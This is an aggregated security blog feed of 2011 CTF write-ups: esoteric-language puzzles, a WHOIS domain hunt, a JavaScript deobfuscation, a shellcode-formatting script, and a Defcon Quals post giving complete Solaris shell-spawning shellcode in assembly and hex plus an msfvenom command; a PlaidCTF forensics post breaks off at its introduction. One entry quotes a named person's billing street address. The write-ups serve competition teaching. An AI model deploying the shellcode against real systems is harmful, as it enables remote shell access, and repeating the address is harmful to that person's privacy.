;.&amp;gt;&amp;gt;-.&amp;gt;.--.+++.----.&amp;lt;--.&amp;gt;---.+++++.&amp;lt;&amp;lt;&amp;lt;&amp;lt;.&amp;gt;&amp;gt;&amp;gt;.++++++.------.&amp;gt;-----.+++++.&amp;lt;&amp;lt;&amp;lt;.&amp;gt;&amp;gt;&amp;gt;++++++.&amp;lt;+++++++.-------.&amp;gt;.&amp;lt;&amp;lt;&amp;lt;.&amp;gt;&amp;gt;&amp;gt;+++++.----------.++++++.&amp;lt;&amp;lt;&amp;lt;.&amp;gt;&amp;gt;&amp;gt;-------.&amp;lt;++++.&amp;gt;++++++++.&amp;lt;.&amp;gt;----.&amp;lt;&amp;lt;&amp;lt;.&amp;gt;&amp;gt;++.&amp;gt;---.+++++.&amp;lt;&amp;lt;&amp;lt;.&amp;gt;&amp;gt;&amp;gt;.&amp;lt;+.---.&amp;lt;&amp;lt;.&amp;gt;&amp;gt;&amp;gt;-------.++.-.&amp;lt;.&amp;gt;+++++++++++.&amp;lt;&amp;lt;&amp;lt;++++++++++++++.&amp;lt;.&amp;gt;&amp;gt;--.&amp;gt;++++++++++.-----------.&amp;gt;------.---.&amp;lt;+..-.&amp;lt;&amp;lt;--.&amp;lt;.&amp;gt;------------....&amp;gt;--.&amp;gt;&amp;gt;--.&amp;lt;+++++.--.&amp;gt;-.&amp;lt;------.&amp;lt;&amp;lt;&amp;lt;...&amp;gt;++++++++.&amp;gt;--.-.-------.-.-.&amp;gt;----.&amp;gt;+++++++++++++++++.-.&amp;lt;&amp;lt;----.&amp;gt;----.&amp;gt;---.&amp;lt;&amp;lt;---.&amp;gt;---.&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&amp;gt;---.&amp;lt;&amp;lt;---.&amp;gt;---.&amp;gt;---.&amp;lt;--.&amp;gt;--.&amp;lt;&amp;lt;&amp;lt;++.-.&amp;gt;&amp;gt;----.&amp;lt;+++++++++++.&amp;lt;+++.-.-.-.-.-.-.-.-.-.-.-.&amp;gt;&amp;gt;&amp;gt;++++++++++++.-.-.-.-.-.-.&amp;lt;&amp;lt;--.-.--.&amp;gt;&amp;gt;----.&amp;lt;&amp;lt;&amp;lt;+.&amp;gt;---.&amp;gt;&amp;gt;++++++++++.--------------.&amp;lt;&amp;lt;--.&amp;gt;&amp;gt;--.-.&amp;lt;&amp;lt;----.-.&amp;gt;&amp;gt;---.-------.+++++.&amp;lt;&amp;lt;----.&amp;gt;&amp;gt;--------.&amp;lt;&amp;lt;--.&amp;lt;&amp;lt;.&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;Yep, it's&amp;nbsp;&lt;a href=&quot;http://en.wikipedia.org/wiki/Brainfuck&quot;&gt;BrainFuck&lt;/a&gt;. Its execution printed this&lt;br /&gt;&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;div&gt;Yo, Ben, here's your cut for the Zimmermann job in Quantico. &amp;nbsp;I know only you&lt;br /&gt;can decode messages sent from the circles of hell, so don't try to complain&lt;br /&gt;again that you never got the money.&lt;br /&gt;Godspeed,&lt;br /&gt;&amp;nbsp; &amp;nbsp; Enigma&lt;br /&gt;(CB;:9]~}5Yz2Vw/StQr*)M:,+*)('&amp;amp;%$#&quot;!~}|{zyx875t&quot;2~p0nm,+jch'`%&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;The message alludes to cryptography (&lt;a href=&quot;http://en.wikipedia.org/wiki/Zimmermann_Telegram&quot;&gt;Zimmerman&lt;/a&gt;,&amp;nbsp;&lt;a href=&quot;http://en.wikipedia.org/wiki/Enigma_machine&quot;&gt;Enigma&lt;/a&gt;), and to hell.&lt;/div&gt;&lt;div&gt;What's the programming language that comes straight from the eight circle of hell, and that encrypts its instruction pointer? A quick search on wikipedia's page of esoteric programming languages leads to&amp;nbsp;&lt;a href=&quot;http://en.wikipedia.org/wiki/Malbolge&quot;&gt;Malbolge&lt;/a&gt;&amp;nbsp;(read the description, it's quite fun).&lt;/div&gt;&lt;div&gt;Executing the code in the Malbolge interpreter leads to the solution.&lt;/div&gt;&lt;div&gt;&lt;b&gt;Solution&lt;/b&gt;: EvIl!&lt;/div&gt;&lt;div&gt;&lt;b&gt;Teams that solved it&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;: 22/89&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;b&gt;Domain Hunter: Challenge, 350 dirty $&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;div&gt;Here at iCTF HQ, we have a little ADD problem.&lt;br /&gt;Seeing how cheap domain were when we registered ictf2011.info, we decided to buy another domain.&lt;br /&gt;There was a bulk discount!&lt;br /&gt;Cool, ha?&lt;br /&gt;Except, we forgot what the domain was.&lt;br /&gt;Can you find it?&lt;br /&gt;SQUIRREL!&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;This one wasn't difficult. One of the ways it could be solved is by looking up WHOIS information for&amp;nbsp;&lt;a href=&quot;http://ictf2011.info/&quot;&gt;ICTF2011.INFO&lt;/a&gt;, and googling for a subset of those.&lt;br /&gt;&quot;&lt;i&gt;Billing Name:Yan Shoshitaishvili Billing Organization: Billing Street1:2541 W. Firebrook Rd Billing Street2: Billing Street3: Billing City:Tucson Billing State/Province:Arizona&lt;/i&gt;&amp;nbsp;&quot;&amp;nbsp;&lt;a href=&quot;https://www.google.com/search?gcx=w&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=yans%40yancomm.net#sclient=psy-ab&amp;hl=en&amp;source=hp&amp;q=Billing+Name%3AYan+Shoshitaishvili+Billing+Organization%3A+Billing+Street1%3A2541+W.+Firebrook+Rd+Billing+Street2%3A+Billing+Street3%3A+Billing+City%3ATucson+Billing+State%2FProvince%3AArizona+&amp;pbx=1&amp;oq=Billing+Name:Yan+Shoshitaishvili+Billing+Organization%3A+Billing+Street1%3A2541+W.+Firebrook+Rd+Billing+Street2%3A+Billing+Street3%3A+Billing+City%3ATucson+Billing+State%2FProvince%3AArizona+&amp;aq=f&amp;aqi=&amp;aql=&amp;gs_sm=e&amp;gs_upl=15229l34830l8l35865l7l3l0l0l0l0l175l254l1.1l3l0&amp;bav=on.2,or.r_gc.r_pw.r_cp.,cf.osb&amp;fp=a9cab38e9d029b06&amp;biw=1598&amp;bih=773&quot;&gt;returns exactly two results&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://ictf2011.info/&quot;&gt;ICTF2011.INFO&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://0x69637466.info/&quot;&gt;0x69637466.INFO&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Score! You think. Except,&amp;nbsp;&lt;a href=&quot;http://0x69637466.info/&quot;&gt;http://0x69637466.info/&lt;/a&gt;&amp;nbsp;points to a GoDaddy parking page. The solution, instead, was placed at&amp;nbsp;&lt;a href=&quot;http://www.0x69637466.info/&quot;&gt;http://www.0x69637466.info/&lt;/a&gt;&amp;nbsp;. Turns out, this little trick confused several people, that later contacted me on IRC to /facepalm.&lt;br /&gt;&lt;b&gt;Solution&lt;/b&gt;:&amp;nbsp;&lt;span&gt;I@mD@Sh3rl0k0fth31nt3rn3tz&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;b&gt;Teams that solved it&lt;/b&gt;: 39/89&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/3551230072859397681-7558922808727791514?l=blog.lucainvernizzi.net&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content>
		<author>
			<name>Luca Invernizzi</name>
			<email>noreply@blogger.com</email>
			<uri>http://blog.lucainvernizzi.net/search/label/security</uri>
		</author>
		<source>
			<title type="html">0x1BADFEED</title>
			<subtitle type="html">A blog about Security and Free Software tricks</subtitle>
			<link rel="self" href="http://blog.lucainvernizzi.net/feeds/posts/default/-/security"/>
			<id>tag:blogger.com,1999:blog-3551230072859397681</id>
			<updated>2012-05-16T16:45:03+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">iCTF 2011 challenge 15 writeup (150 points)</title>
		<link href="http://mweissbacher.com/blog/2011/12/20/ictf-2011-challenge-15-writeup/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=ictf-2011-challenge-15-writeup"/>
		<id>http://mweissbacher.com/blog/?p=54</id>
		<updated>2011-12-20T08:31:34+00:00</updated>
		<content type="html">&lt;p&gt;One of my &lt;a href=&quot;https://ictf.cs.ucsb.edu/&quot;&gt;iCTF&lt;/a&gt; challenges was a simple JavaScript obfuscation, a backup of the code is available &lt;a href=&quot;http://mweissbacher.com/ictf/ch15/&quot;&gt;here&lt;/a&gt;. What happens is obvious, window.alert is triggered with the message &amp;#8220;why?&amp;#8221;. &amp;#8220;Why&amp;#8221; is less obvious since the code was encoded with &lt;a href=&quot;http://utf-8.jp/public/jjencode.html&quot;&gt;jjencode&lt;/a&gt;. There are no other visible hints.&lt;/p&gt;
&lt;p&gt;To further look into window.alert, we can overwrite the function:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
window.alert = function(e) { console.log(JSON.stringify(e)); };&lt;br /&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;After re-running the code we see that window.alert is not being called with a String as argument, but with an object which contains the attribute:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
{&quot;secret&quot;:&quot;Angelina Jolie's only good movie, in leet speak, reverse is the key&quot;}&lt;br /&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The solution is obviously: &lt;a href=&quot;http://www.imdb.com/title/tt0113243/&quot; title=&quot;Hackers&quot;&gt;Hackers&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;FYI: Before the obfuscation the code looked like this:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
var obj = { };&lt;br /&gt;
obj.secret = &quot;Angelina Jolie's only good movie, in leet speak, reverse is the key&quot;;&lt;br /&gt;
obj.toString = function(e) { return &quot;why?&quot;; };&lt;br /&gt;
obj.toSource = function(e) { return &quot;function toSource() {\n&quot; +&lt;br /&gt;
&quot;    [native code]\n&quot; +&lt;br /&gt;
&quot;}\n&quot;&lt;br /&gt;
};&lt;br /&gt;
window.alert(obj);&lt;br /&gt;
&lt;/code&gt;&lt;/p&gt;</content>
		<author>
			<name>Michael Weissbacher</name>
			<uri>http://mweissbacher.com/blog</uri>
		</author>
		<source>
			<title type="html">Michael Weissbacher » Security</title>
			<link rel="self" href="http://mweissbacher.com/blog/category/security/feed/"/>
			<id>http://mweissbacher.com/blog/category/security/feed/</id>
			<updated>2012-04-30T09:05:02+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Shellcode from C</title>
		<link href="http://epicfail-contributions.blogspot.com/2011/06/shellcode-from-c.html"/>
		<id>tag:blogger.com,1999:blog-7588969471798177061.post-8709005472740544600</id>
		<updated>2011-06-10T12:10:34+00:00</updated>
		<content type="html">&lt;div&gt;As Luca has already &lt;a href=&quot;http://blog.lucainvernizzi.net/2011/06/defcon-quals-19-pwtent-pwnable-200.html&quot;&gt;pointed out&lt;/a&gt;, we spent a lot of time developing our own shellcode for the pp200. Usually a typical shellcode development environment looks like this:&lt;br /&gt;&lt;/div&gt;&lt;pre class=&quot;brush:c&quot;&gt;void&lt;br /&gt;f(void)&lt;br /&gt;{&lt;br /&gt;//__asm__ or C code&lt;br /&gt;}&lt;br /&gt;int&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;f();&lt;br /&gt;}&lt;/pre&gt;&lt;div&gt;The actual code goes into the f-function either as inline assembly or C. Now the module is typically compiled, disassembled and the resulting opcodes are put in binary form, as C-array or whatever you prefer into an exploit-script. What usually costs about 1-2 minutes of time for each iteration is to format the disassembled opcodes into the format needed, no big deal but since it is scriptable it shall be done:&lt;br /&gt;&lt;/div&gt;&lt;pre class=&quot;brush:python&quot;&gt;#!/usr/bin/python&lt;br /&gt;import sys&lt;br /&gt;import re&lt;br /&gt;&lt;br /&gt;def get_code():&lt;br /&gt;code = []&lt;br /&gt;lines = sys.stdin.readlines()&lt;br /&gt;pattern = re.compile('.*:\s+(([0-9a-f]{2} | [0-9a-f]{2})+)($|\s\s\s\s+.*)')&lt;br /&gt;hexpat = re.compile('([0-9a-f]{2})')&lt;br /&gt;for i in lines:&lt;br /&gt;i = i.rstrip('\n')&lt;br /&gt;match = re.search(pattern, i)&lt;br /&gt;if match:&lt;br /&gt;match = re.findall(hexpat, match.group(1))&lt;br /&gt;for byte in match:&lt;br /&gt;code.append(int(byte, 16))&lt;br /&gt;else:&lt;br /&gt;raise Exception('line &quot;%s&quot; did not match expected format' % (i))&lt;br /&gt;return code&lt;br /&gt;&lt;br /&gt;def write_binary(code):&lt;br /&gt;for byte in code:&lt;br /&gt;sys.stdout.write(&quot;%c&quot; % byte)&lt;br /&gt;&lt;br /&gt;def write_c_arr(code):&lt;br /&gt;sys.stdout.write('static char code [] = &quot;')&lt;br /&gt;for byte in code:&lt;br /&gt;sys.stdout.write(&quot;\\x%02x&quot; % byte)&lt;br /&gt;sys.stdout.write('&quot;;\n')&lt;br /&gt;&lt;br /&gt;def write_python_string(code):&lt;br /&gt;sys.stdout.write('code = &quot;')&lt;br /&gt;for byte in code:&lt;br /&gt;sys.stdout.write(&quot;\\x%02x&quot; % byte)&lt;br /&gt;sys.stdout.write('&quot;\n')&lt;br /&gt;&lt;br /&gt;def usage(name):&lt;br /&gt;print &quot;%s \npossible modes:\n\t-b binary (default)\n\t-p python\n\t-c C\n\ninput is read from stdin&quot; % name&lt;br /&gt;&lt;br /&gt;def main():&lt;br /&gt;if len(sys.argv) == 2 and (sys.argv[1] == '-h' or sys.argv[1] == '--help'):&lt;br /&gt;usage(sys.argv[0])&lt;br /&gt;sys.exit(0)&lt;br /&gt;code = get_code()&lt;br /&gt;if len(sys.argv) == 2:&lt;br /&gt;if sys.argv[1] == '-b':&lt;br /&gt;write_binary(code)&lt;br /&gt;elif sys.argv[1] == '-p':&lt;br /&gt;write_python_string(code)&lt;br /&gt;elif sys.argv[1] == '-c':&lt;br /&gt;write_c_arr(code)&lt;br /&gt;else:&lt;br /&gt;write_binary(code)&lt;br /&gt;&lt;br /&gt;if __name__ == '__main__':&lt;br /&gt;main()&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;You simply pipe or paste the output of objdump -D into the script and it outputs the opcodes in raw binary form, as C-array or python-string.&lt;br /&gt;Plugging in our solaris shellcode gives us:&lt;br /&gt;&lt;pre class=&quot;brush:shell&quot;&gt;shell_code.py -c                            &lt;br /&gt;80483a6:       90                      nop&lt;br /&gt;80483a7:       31 d2                   xor    %edx,%edx&lt;br /&gt;80483a9:       31 db                   xor    %ebx,%ebx&lt;br /&gt;80483ab:       31 ff                   xor    %edi,%edi&lt;br /&gt;80483ad:       31 c9                   xor    %ecx,%ecx&lt;br /&gt;80483af:       b3 09                   mov    $0x9,%bl&lt;br /&gt;80483b1:       66 bf 3e 00             mov    $0x3e,%di&lt;br /&gt;80483b5:       b1 05                   mov    $0x5,%cl&lt;br /&gt;80483b7:       52                      push   %edx&lt;br /&gt;80483b8:       53                      push   %ebx&lt;br /&gt;80483b9:       51                      push   %ecx&lt;br /&gt;80483ba:       52                      push   %edx&lt;br /&gt;80483bb:       89 f8                   mov    %edi,%eax&lt;br /&gt;80483bd:       cd 91                   int    $0x91&lt;br /&gt;80483bf:       6a 01                   push   $0x1&lt;br /&gt;80483c1:       53                      push   %ebx&lt;br /&gt;80483c2:       51                      push   %ecx&lt;br /&gt;80483c3:       52                      push   %edx&lt;br /&gt;80483c4:       89 f8                   mov    %edi,%eax&lt;br /&gt;80483c6:       cd 91                   int    $0x91&lt;br /&gt;80483c8:       6a 02                   push   $0x2&lt;br /&gt;80483ca:       53                      push   %ebx&lt;br /&gt;80483cb:       51                      push   %ecx&lt;br /&gt;80483cc:       52                      push   %edx&lt;br /&gt;80483cd:       89 f8                   mov    %edi,%eax&lt;br /&gt;80483cf:       cd 91                   int    $0x91&lt;br /&gt;80483d1:       31 c0                   xor    %eax,%eax&lt;br /&gt;80483d3:       50                      push   %eax&lt;br /&gt;80483d4:       68 6e 2f 73 68          push   $0x68732f6e&lt;br /&gt;80483d9:       68 2f 2f 62 69          push   $0x69622f2f&lt;br /&gt;80483de:       89 e3                   mov    %esp,%ebx&lt;br /&gt;80483e0:       50                      push   %eax&lt;br /&gt;80483e1:       53                      push   %ebx&lt;br /&gt;80483e2:       89 e2                   mov    %esp,%edx&lt;br /&gt;80483e4:       50                      push   %eax&lt;br /&gt;80483e5:       52                      push   %edx&lt;br /&gt;80483e6:       53                      push   %ebx&lt;br /&gt;80483e7:       b0 3b                   mov    $0x3b,%al&lt;br /&gt;80483e9:       50                      push   %eax&lt;br /&gt;80483ea:       cd 91                   int    $0x91&lt;br /&gt;static char code [] = &quot;\x90\x31\xd2\x31\xdb\x31\xff\x31\xc9\xb3\x09\x66\xbf\x3e\x00&lt;br /&gt;\xb1\x05\x52\x53\x51\x52\x89\xf8\xcd\x91\x6a\x01\x53\x51\x52\x89\xf8\xcd\x91\x6a\x02&lt;br /&gt;\x53\x51\x52\x89\xf8\xcd\x91\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89&lt;br /&gt;\xe3\x50\x53\x89\xe2\x50\x52\x53\xb0\x3b\x50\xcd\x91&quot;;&lt;br /&gt;&lt;/pre&gt;This script can be used with metasploit's msfvenom to create shellcode that is for example also free of zerobytes and newlines and has a 200 byte nop-sled prepended:&lt;br /&gt;&lt;pre class=&quot;brush:shell&quot;&gt;shell_code.py | ./msfvenom -p - -n 200 -b '\x00\x0a' -f c&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/7588969471798177061-8709005472740544600?l=epicfail-contributions.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content>
		<author>
			<name>spjsschl</name>
			<email>noreply@blogger.com</email>
			<uri>http://epicfail-contributions.blogspot.com/</uri>
		</author>
		<source>
			<title type="html">epicfail-contributions</title>
			<link rel="self" href="http://epicfail-contributions.blogspot.com/feeds/posts/default"/>
			<id>tag:blogger.com,1999:blog-7588969471798177061</id>
			<updated>2012-05-16T18:35:02+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Defcon Quals 19: Pwtent Pwnable 200 (pp200) writeup</title>
		<link href="http://blog.lucainvernizzi.net/2011/06/defcon-quals-19-pwtent-pwnable-200.html"/>
		<id>tag:blogger.com,1999:blog-3551230072859397681.post-8231335465248933363</id>
		<updated>2011-06-06T11:22:38+00:00</updated>
		<content type="html">&lt;div&gt;Here's how the pp200 challenge has been solved by the &amp;nbsp;Shellphish team (by Manuel, Johannes, Don and I).&lt;/div&gt;&lt;div&gt;For this challenge, we were given an address/port and a file, which was a Solaris executable.&lt;/div&gt;&lt;div&gt;Opened in IDA, the executable turned out to be a simple forking server. &amp;nbsp; For each incoming TCP connection, if the source port is in the 5000-6000 range, 73 bytes are read and then executed (except the first byte).&lt;br /&gt;The child thread just executed this:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;pre class=&quot;brush:c&quot;&gt;int __cdecl client_callback(int fd)&lt;br /&gt;{&lt;br /&gt;  void *v1; // esp@1&lt;br /&gt;  uint16_t v2; // ax@3&lt;br /&gt;  int v4; // [sp+0h] [bp-38h]@1&lt;br /&gt;  int execute_buf; // [sp+Ch] [bp-2Ch]@1&lt;br /&gt;  int *v6; // [sp+10h] [bp-28h]@1&lt;br /&gt;  int v7; // [sp+14h] [bp-24h]@6&lt;br /&gt;  void (*execute_the_buffer)(void); // [sp+18h] [bp-20h]@1&lt;br /&gt;  socklen_t len; // [sp+1Ch] [bp-1Ch]@1&lt;br /&gt;  struct sockaddr addr; // [sp+20h] [bp-18h]@1&lt;br /&gt;&lt;br /&gt;  v6 = &amp;amp;v4;&lt;br /&gt;  v1 = alloca(16 * ((unsigned int)(BUFSIZE + 30) &amp;gt;&amp;gt; 4));&lt;br /&gt;  execute_buf = 16 * ((unsigned int)((char *)&amp;amp;execute_buf + 3) &amp;gt;&amp;gt; 4);&lt;br /&gt;  execute_the_buffer = (void (*)(void))(16 * ((unsigned int)((char *)&amp;amp;execute_buf + 3) &amp;gt;&amp;gt; 4) + 1);&lt;br /&gt;  len = 16;&lt;br /&gt;  if ( getpeername(fd, &amp;amp;addr, &amp;amp;len) == -1 )&lt;br /&gt;    exit(-1);&lt;br /&gt;  v2 = ntohs(*(uint16_t *)&amp;amp;addr.sa_data[0]);&lt;br /&gt;  printf(&quot;port: %d \n\n\n&quot;, v2);&lt;br /&gt;  if ( ntohs(*(uint16_t *)&amp;amp;addr.sa_data[0]) &amp;gt; 0x1387u &amp;amp;&amp;amp; ntohs(*(uint16_t *)&amp;amp;addr.sa_data[0]) &amp;lt;= 0x1770u )&lt;br /&gt;    exit(-1);&lt;br /&gt;  v7 = readAll(fd, execute_buf, BUFSIZE);&lt;br /&gt;  printf(&quot;read %d bytes\n\n\n&quot;, v7);&lt;br /&gt;  execute_the_buffer();&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;So, we needed to send a shellcode&amp;nbsp;shorter than 72 bytes. Unfortunately, Metasploit&amp;nbsp;was of little help here, so we had to scout the web looking for suitable candidates. After several cases of it-work-on-our-VM-but-not-at-DDtek, we decided to roll our own.&lt;br /&gt;&lt;br class=&quot;Apple-interchange-newline&quot; /&gt;Here it is: it spawns a shell using the TCP connection file descriptor as stdin, stdout and stderr.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;pre class=&quot;brush:c&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys types.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;&lt;br /&gt;void f(void);&lt;br /&gt; int&lt;br /&gt;main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt; f();&lt;br /&gt;}&lt;br /&gt;void f(void) &lt;br /&gt;{&lt;br /&gt; __asm__(&lt;br /&gt;                        //padding&lt;br /&gt;                        &quot;nop \n&quot;&lt;br /&gt;   //dup 0 into 5&lt;br /&gt;   &quot;xor %edx, %edx \n&quot;&lt;br /&gt;   &quot;xor %ebx, %ebx \n&quot;&lt;br /&gt;   &quot;xor %edi, %edi \n&quot;&lt;br /&gt;   &quot;xor %ecx, %ecx \n&quot;&lt;br /&gt;   &quot;mov $9, %bl \n&quot;&lt;br /&gt;   &quot;mov $62, %di \n&quot;&lt;br /&gt;   &quot;mov $5, %cl \n&quot;&lt;br /&gt;   &quot;push %edx \n&quot;&lt;br /&gt;   &quot;push %ebx \n&quot;&lt;br /&gt;   &quot;push %ecx \n&quot;&lt;br /&gt;   &quot;push %edx \n&quot;&lt;br /&gt;   &quot;mov %edi, %eax \n&quot;&lt;br /&gt;   &quot;int $0x91 \n&quot;&lt;br /&gt;   //dup 1 into 5&lt;br /&gt;   &quot;push $1 \n&quot;&lt;br /&gt;   &quot;push %ebx \n&quot;&lt;br /&gt;   &quot;push %ecx \n&quot;&lt;br /&gt;   &quot;push %edx \n&quot;&lt;br /&gt;   &quot;mov %edi, %eax \n&quot;&lt;br /&gt;   &quot;int $0x91 \n&quot;&lt;br /&gt;   //dup 2 into 5&lt;br /&gt;   &quot;push $2 \n&quot;&lt;br /&gt;   &quot;push %ebx \n&quot;&lt;br /&gt;   &quot;push %ecx \n&quot;&lt;br /&gt;   &quot;push %edx \n&quot;&lt;br /&gt;   &quot;mov %edi, %eax \n&quot;&lt;br /&gt;   &quot;int $0x91 \n&quot;&lt;br /&gt;//   //close stdin&lt;br /&gt;//   &quot;push %edx \n&quot;&lt;br /&gt;//   &quot;push %edx \n&quot;&lt;br /&gt;//   &quot;incl %ecx \n&quot;&lt;br /&gt;//   &quot;mov %ecx, %eax \n&quot;&lt;br /&gt;//   &quot;int $0x91 \n&quot;&lt;br /&gt;   //shell&lt;br /&gt;   &quot;xorl   %eax,%eax \n&quot;&lt;br /&gt;   &quot;pushl  %eax \n&quot;&lt;br /&gt;   &quot;pushl  $0x68732f6e \n&quot;&lt;br /&gt;   &quot;pushl  $0x69622f2f \n&quot;&lt;br /&gt;   &quot;movl   %esp,%ebx \n&quot;&lt;br /&gt;   &quot;pushl  %eax \n&quot;&lt;br /&gt;   &quot;pushl  %ebx \n&quot;&lt;br /&gt;   &quot;movl   %esp,%edx \n&quot;&lt;br /&gt;   &quot;pushl  %eax \n&quot;&lt;br /&gt;   &quot;pushl  %edx \n&quot;&lt;br /&gt;   &quot;pushl  %ebx \n&quot;&lt;br /&gt;   &quot;movb   $0x3b,%al \n&quot;&lt;br /&gt;   &quot;pushl  %eax \n&quot;&lt;br /&gt;   &quot;int    $0x91 \n&quot;&lt;br /&gt;   );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;Total:&amp;nbsp;69 bytes (and 1 for padding)&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;blockquote&gt;&lt;i&gt;\x90\x31\xd2\x31\xdb\x31\xff\x31\xc9\xb3\x09\x66\xbf\x3e\x00\xb1\x05\x52\x53\x51\x52\x89\xf8\xcd\x91\x6a\x01\x53\x51\x52\x89\xf8\xcd\x91\x6a\x02\x53\x51\x52\x89\xf8\xcd\x91\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe2\x50\x52\x53\xb0\x3b\x50\xcd\x91&lt;/i&gt;&lt;/blockquote&gt;That's it. For future reference, here's the mapping between the familiar Debian commands and the OpenSolaris ones that were useful in the competition.&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;apt-cache search &amp;nbsp;=&amp;gt; pkg search&lt;/li&gt;&lt;li&gt;apt-get install =&amp;gt; pkg install&lt;/li&gt;&lt;li&gt;strace =&amp;gt; truss (strace didn't appear to work)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Ciao!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ps: EpicFail (which is part of the ShellPhish team) just opened a &lt;a href=&quot;http://epicfail.cs.ucsb.edu/&quot;&gt;blog&lt;/a&gt; on hacking.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/3551230072859397681-8231335465248933363?l=blog.lucainvernizzi.net&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content>
		<author>
			<name>Luca Invernizzi</name>
			<email>noreply@blogger.com</email>
			<uri>http://blog.lucainvernizzi.net/search/label/security</uri>
		</author>
		<source>
			<title type="html">0x1BADFEED</title>
			<subtitle type="html">A blog about Security and Free Software tricks</subtitle>
			<link rel="self" href="http://blog.lucainvernizzi.net/feeds/posts/default/-/security"/>
			<id>tag:blogger.com,1999:blog-3551230072859397681</id>
			<updated>2012-05-16T16:45:03+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">PlaidCTF Writeup:  Fun with Firewire</title>
		<link href="http://mweissbacher.com/blog/2011/05/17/plaidctf-writeup-fun-with-firewire/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=plaidctf-writeup-fun-with-firewire"/>
		<id>http://mweissbacher.com/blog/?p=46</id>
		<updated>2011-05-18T04:26:22+00:00</updated>
		<content type="html">&lt;p&gt;This is a writeup of the &lt;a href=&quot;http://www.plaidctf.com/&quot;&gt;PlaidCTF&lt;/a&gt; 500 pts challenge &amp;#8220;Fun with Firewire&amp;#8221;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;###############&lt;br /&gt;
Description:&lt;br /&gt;
Category: forensics&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;All of the machines at the AED office are encrypted using the amazing TrueCrypt software.&lt;br /&gt;
When we grabbed one of their USB sticks from a computer, we also grabbed the memory using the Firewire port.&lt;/p&gt;
&lt;p&gt;Recover the key using the truecrypt image and the memory dump.&lt;/p&gt;
&lt;p&gt;http://www.plaidctf.com/chals/81d9467f812d2fbb32e9d4b915cccfe457245f25.tar.bz2&lt;/p&gt;
&lt;p&gt;###############&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
